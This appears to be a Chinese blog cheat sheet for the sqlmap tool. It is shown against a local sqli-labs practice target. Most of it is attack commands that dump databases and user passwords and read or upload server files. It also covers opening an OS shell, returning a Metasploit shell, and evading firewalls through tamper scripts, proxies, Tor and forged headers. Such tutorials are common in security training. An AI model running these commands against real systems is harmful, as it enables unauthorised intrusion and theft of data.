sqlmap使用总结

sqlmap功能

  1. 对http不同的字段 探测sql注入漏洞,获取数据库权限,获取数据
  2. 指定脚本(–temper)绕过防火墙
  3. 设置代理,隐藏网络,避免被检测
  4. getshell,获取系统权限,sql权限等。上传文件,下载文件
  5. 反弹msf的shell(–os-pwn)
  6. 网页爬虫,探测指纹信息

1. 基本用法

sqlmap -r http.txt  #http.txt是我们抓取的http的请求包

sqlmap -r http.txt -p username  
	#指定参数,当有多个参数而你又知道username参数存在SQL漏洞,你就可以使用-p指定参数进行探测

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"   #探测该url是否存在漏洞

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" 
	--cookie="抓取的cookie"   #当该网站需要登录时,探测该url是否存在漏洞

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --data="uname=admin&passwd=admin&submit=Submit"  
	#抓取其post提交的数据填入

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --users      #查看数据库的所有用户

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --passwords  #查看数据库用户名的密码

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --current-user  #查看数据库当前的用户

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --is-dba    #判断当前用户是否有管理员权限

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --roles     
	#列出数据库所有管理员角色,仅适用于oracle数据库的时候

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --dbs        #爆出所有的数据库

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --tables     #爆出所有的数据表

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --columns    #爆出数据库中所有的列

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1"  --current-db 	#查看当前的数据库

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --tables 
	#爆出数据库security中的所有的表

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --columns 
	#爆出security数据库中users表中的所有的列

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users -C username --dump  
	#爆出数据库security中的users表中的username列中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security -T users --dump-all 
	#爆出数据库security中的users表中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" -D security --dump-all   
	#爆出数据库security中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --dump-all  
	#爆出该数据库中的所有数据

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --tamper=space2comment.py  
	#指定脚本进行过滤,用/**/代替空格

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --level=5 --risk=3 
	#探测等级5,平台危险等级3,都是最高级别。当level=2时,会测试cookie注入。
	当level=3时,会测试user-agent/referer注入。

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell  #执行指定的sql语句

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell/--os-cmd   
	#执行--os-shell命令,获取目标服务器权限	

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" 
	#读取目标服务器C盘下的test.txt文件

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write  test.txt  --file-dest "e:/hack.txt"  
	#将本地的test.txt文件上传到目标服务器的E盘下,并且名字为hack.txt

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --dbms="MySQL"     
	#指定其数据库为mysql Firebird, HSQLDB, IBM DB2, Informix, Microsoft Access, Microsoft SQL 
	Server, MySQL, Oracle, PostgreSQL, SAP MaxDB, SQLite, Sybase

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --random-agent   #使用任意的User-Agent爆破

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --proxy="http://127.0.0.1:8080"    #指定代理

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --technique T    
	#指定时间延迟注入,这个参数可以指定sqlmap使用的探测技术,
	默认情况下会测试所有的方式,当然,我们也可以直接手工指定。

支持的探测方式如下:

  B: Boolean-based blind SQL injection(布尔型注入)

  E: Error-based SQL injection(报错型注入)

  U: UNION query SQL injection(可联合查询注入)

  S: Stacked queries SQL injection(可多语句查询注入)

  T: Time-based blind SQL injection(基于时间延迟注入)



-v3                   #输出详细度  最大值5 会显示请求包和回复包

--threads 5           #指定线程数

--fresh-queries       #清除缓存

--flush-session       #清空会话,重构注入

--batch               #对所有的交互式的都是默认的

--random-agent        #任意的http头

--tamper base64encode            #对提交的数据进行base64编码

--referer http://www.baidu.com   #伪造referer字段

--keep-alive     
	保持连接,当出现 [CRITICAL] connection dropped or unknown HTTP status code received. 
	sqlmap is going to retry the request(s) 保错的时候,使用这个参数

2. 使用sqlmap探测waf并绕过

--identify-waf   检测是否有WAF

#使用参数进行绕过

--random-agent    使用任意HTTP头进行绕过,尤其是在WAF配置不当的时候

--time-sec=3      使用长的延时来避免触发WAF的机制,这方式比较耗时

--hpp             使用HTTP 参数污染进行绕过,尤其是在ASP.NET/IIS 平台上

--proxy=100.100.100.100:8080 --proxy-cred=211:985      使用代理进行绕过

--ignore-proxy    禁止使用系统的代理,直接连接进行注入

--flush-session   清空会话,重构注入

--hex 或者 --no-cast     进行字符码转换

--mobile          对移动端的服务器进行注入

--tor             匿名注入

3. python脚本绕过网站

有些时候网站会过滤掉各种字符,可以用tamper来解决(对付某些waf时也有成效

sqlmap  --tamper=space2comment.py  #用/**/代替空格
sqlmap  --tamper="space2comment.py,space2plus.py"  指定多个脚本进行过滤

在sqlmap的temper目录下
在这里插入图片描述

4. 伪造http referer头部

探测风险等级

--level=LEVEL       设置测试等级(1-5,默认为 1)
--risk=RISK         设置测试风险等级(1-3,默认为 1)

Sqlmap可以在请求中伪造HTTP中的referer,当探测等级为3或者3以上时,会尝试对referer注入,可以使用referer命令来欺骗,比如,我们伪造referer头为百度。

可以这样

referer  http://www.baidu.com

5. 执行语句

sqlmap -u "http://192.168.10.1/sqli/Less-1/?id=1" --sql-shell   #执行sql语句
sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --os-shell    #执行--os-shell命令

在数据库为Mysql、PostgreSql或者SQL Server时,执行系统命令的前提条件

网站必须是root权限
攻击者需要知道网站的绝对路径
GPC为off,php主动转义的功能关闭

6. 从数据库读文件

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-read "c:/test.txt" 
#读取目标服务器C盘下的test.txt文件

7. 上传文件到数据库

sqlmap -u "http://192.168.10.1/sqli/Less-4/?id=1" --file-write test.txt --file-dest "c:/payload.txt"  
	#将本地的test.txt文件上传到目标服务器的C盘下,并且名字为payload.txt
  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
SQLi(Structured Query Language Injection)是一种利用Web应用程序中的安全漏洞,将恶意的SQL代码注入到用户输入的数据中的攻击方法。SQLMap是一种常用的自动化SQL注入工具,它可以帮助安全研究人员找到和利用这些漏洞。 使用SQLMap可以进行各种类型的SQL注入攻击,包括盲注和联合查询注入。在进行盲注时,SQLMap会发送一系列的测试语句,通过观察返回的结果来确定注入点的存在和注入语法的正确性。而在联合查询注入中,SQLMap会利用UNION SELECT语句将恶意代码注入到原始查询中,从而获取数据库中的敏感信息。 在使用SQLMap时,可以通过指定URL和一些参数来执行注入测试。例如,在执行基本的盲注测试时,可以使用以下命令:python sqlmap.py -u 127.0.0.1/sqli/less-38/?id= 1.数据库名 python sqlmap.py -u 127.0.0.1/sqli/less-38/?id= --dbs。这将测试目标URL中的参数id是否存在注入漏洞,并尝试获取数据库名称。 除了执行基本的SQL注入测试外,还可以使用SQLMap执行更复杂的攻击,如获取数据库中的表和列信息,以及获取用户表中的用户名和密码等敏感信息。例如,在注入漏洞被确认后,可以使用以下命令来获取用户表中的用户名和密码:python sqlmap.py -u http://localhost/sqli-labs-master/Less-4/?id=1 -D security -T users -C username,password --dump --batch。 总结来说,SQLi是一种通过注入恶意的SQL代码来攻击Web应用程序的方法,而SQLMap是一种常用的自动化SQL注入工具,可以帮助发现和利用这些漏洞,以获取敏感信息。<span class="em">1</span><span class="em">2</span><span class="em">3</span><span class="em">4</span>

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Buffedon

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值